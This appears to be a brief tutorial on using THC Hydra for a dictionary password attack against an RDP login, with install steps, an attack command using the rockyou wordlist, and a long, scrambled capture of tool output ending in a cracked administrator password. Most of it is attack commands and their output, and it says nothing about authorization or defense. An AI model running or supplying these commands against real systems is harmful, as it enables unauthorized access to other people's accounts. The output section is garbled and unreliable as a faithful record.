Hello! In this tutorial, we will explore how to run a dictionary attack of THC Hydra. Let's get started. If you are running Kali Linux you will already have a version of Hydra installed. If not you can install it on Linux platforms using the command sudo apt-get install hydra or just download it from the Github Repository https://github.com/vanhauser-thc/thc-hydra 3. Once you have finished the installation you have a new application called THC-Hydra. It should look like this: xHydra (as superuser) Quit Target Passwords Tuning Specific Start Target Single Target 127.0.0.1 Target List Prefer IPV6 adam6500 Output Options Use old SSL Use SSL Be Verbose COMPLETE HELP Service Module Usage Details

THC Hydra has the option of running a dictionary attack or a brute force attack, however, in this tutorial, we will focus on the Dictionary Attack option. In the THC Hydra folder, you can import wordlists for dictionary attacks. I am getting mine from skullsecurity.org 9. In this, I am using the Rockyou.txt wordlist. To start the cracking, you would input command like this. hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://Add IP ADRESS HERE. If you did everything correctly it should look like this:

hydra -l yourname -p yourpass -t 16 127.0.0.1 adam6500

mage523×616 46.3 KB

```
target 192.168.34.16 -
                                                                                            7761 of 14344399
                                         login
                                                 "administrator
                                                                       pass
                                                                              "margot'
                                                                                                                 [child 1
                                          login "administrator"
                                                                             "marble"
            target 192.168.34.16
                                                                                            7762 of 14344399 [child 4]
                                                                       pass
            target 192.168.34.16
target 192.168.34.16
                                         login "administrator"
                                                                              "majito" - 7763 of 14344399 [child 0]
"lamaravilla" - 7764 of 14344399 [child 2]
                                                                       pass
                                                                              "majito"
[ATTEMPT]
 [ATTEMPT]
                                          login "administrator
                                                                       pass
                                                                             "kasey" - 7765 of 14344399 [child 3]
"july25" - 7766 of 14344399 [child 1
                                          login "administrator"
[ATTEMPT]
            target 192.168.34.16
                                                                       pass
                                                                                           7766 of 14344399 [child ]
7766 of 14344399 [child ]
7767 of 14344399 [child 4]
7768 of 14344399 [child 2]
            target 192.168.34.16
target 192.168.34.16
                                          login "administrator"
[ATTEMPT]
                                                                       pass
                                                                              "julia1"
                                          login "administrator'
 [ATTEMPT]
                                                                       pass
                                                                              "jablay"
[ATTEMPT]
            target 192.168.34.16
                                         login "administrator"
                                                                       pass
                                                                                            7769 of 14344399 [child 1]
7770 of 14344399 [child 0]
                                         login "administrator"
                                                                             "hahaha1"
 [ATTEMPT]
            target 192.168.34.16
                                                                       pass
            target 192.168.34.16
                                                                              "glasses"
 [ATTEMPT]
                                          login
                                                 "administrator"
                                                                       pass
            target 192.168.34.16
                                          login "administrator"
                                                                              "friday13"
                                                                                              7771 of 14344399 [child 3]
[ATTEMPT]
                                                                       pass
                                          login "administrator"
                                                                              "dominik" -
                                                                                            7772 of 14344399 [child 4]
[ATTEMPT]
            target 192.168.34.16
                                                                       pass
                                                                                            7773 of 14344399 [child 3]
' - 7774 of 14344399 [child 2]
            target 192.168.34.16
target 192.168.34.16
                                          login "administrator"
                                                                              "daniel2"
 ATTEMPT
                                                                       pass
                                          login "administrator"
                                                                              "contrasena"
[ATTEMPT]
                                                                       pass
[ATTEMPT]
                                                "administrator"
                                                                                             7775 of 14344399 [child 1]
            target 192.168.34.16
                                                                             "bootsie" -
                                          login
                                                                       pass
            target 192.168.34.16
target 192.168.34.16
                                                                                             7776 of 14344399 [child 0]
                                                                              "albert1"
                                          login "administrator"
                                                                       pass
[ATTEMPT]
                                          login "administrator"
                                                                              "P@ssw0rd"
                                                                                           - 7777 of 14344399 [child 1]
 [ATTEMPT]
                                                                       pass
                                          login "administrator"
                                                                             "MICKEY" - 7778 of 14344399 [child 3]
[ATTEMPT]
            target 192.168.34.16
                                                                       pass
                                                                                          7779 of 14344399 [child 2]
- 7780 of 14344399 [child 0
                                                                       pass "CHRIS" -
 [ATTEMPT]
            target 192.168.34.16
target 192.168.34.16
                                         login "administrator"
                                                                             "585858" -
                                          login "administrator"
 ATTEMPT
                                                                       pass
                                          login "administrator"
                                                                             "4444444"
                                                                                          - 7781 of 14344399 [child 4]
[ATTEMPT]
            target 192.168.34.16
                                                                       pass
                                          login "administrator"
            target 192.168.34.16
target 192.168.34.16
                                                                       pass "121289" -
                                                                                           7782 of 14344399 [child 2]
[ATTEMPT]
                                                                                           7783 of 14344399 [child 0]
7784 of 14344399 [child 4]
                                          login "administrator"
                                                                              "yourmum"
 [ATTEMPT]
                                                                       pass
                                          login "administrator"
            target 192.168.34.16
                                                                             "yorkie" -
[ATTEMPT]
                                                                       pass
                                          login "administrator"
                                                                             "tuamor" -
                                                                                           7785 of 14344399 [child 3]
[ATTEMPT]
            target 192.168.34.16
                                                                       pass
                                         login "administrator"
login "administrator"
                                                                             "stanley1" - 7786 of 14344399 [child 4]
"sommer" - 7787 of 14344399 [child 3]
            target 192.168.34.16
target 192.168.34.16
 ATTEMPT 1
                                                                       pass
[ATTEMPT]
                                                                       pass
                                                                             "rocking" - 7788 of 14344399 [child 0]
                                         login "administrator"
            target 192.168.34.16
                                                                       pass
                                                                       pass "nurses" - 7789 of 14344399 [child 2]
[ATTEMPT] target 192.168.34.16 - login "administrator"
 [3389][rdp] host: 192.168.34.16
                                          login: administrator
                                                                       password: P@ssw0rd
[STATUS] attack finished for 192.168.34.16 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-04-04 16:33:30
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image945×597 155 KB

Congratulations! You were able to run a dictionary attack using THC Hydra. I hope this helps you.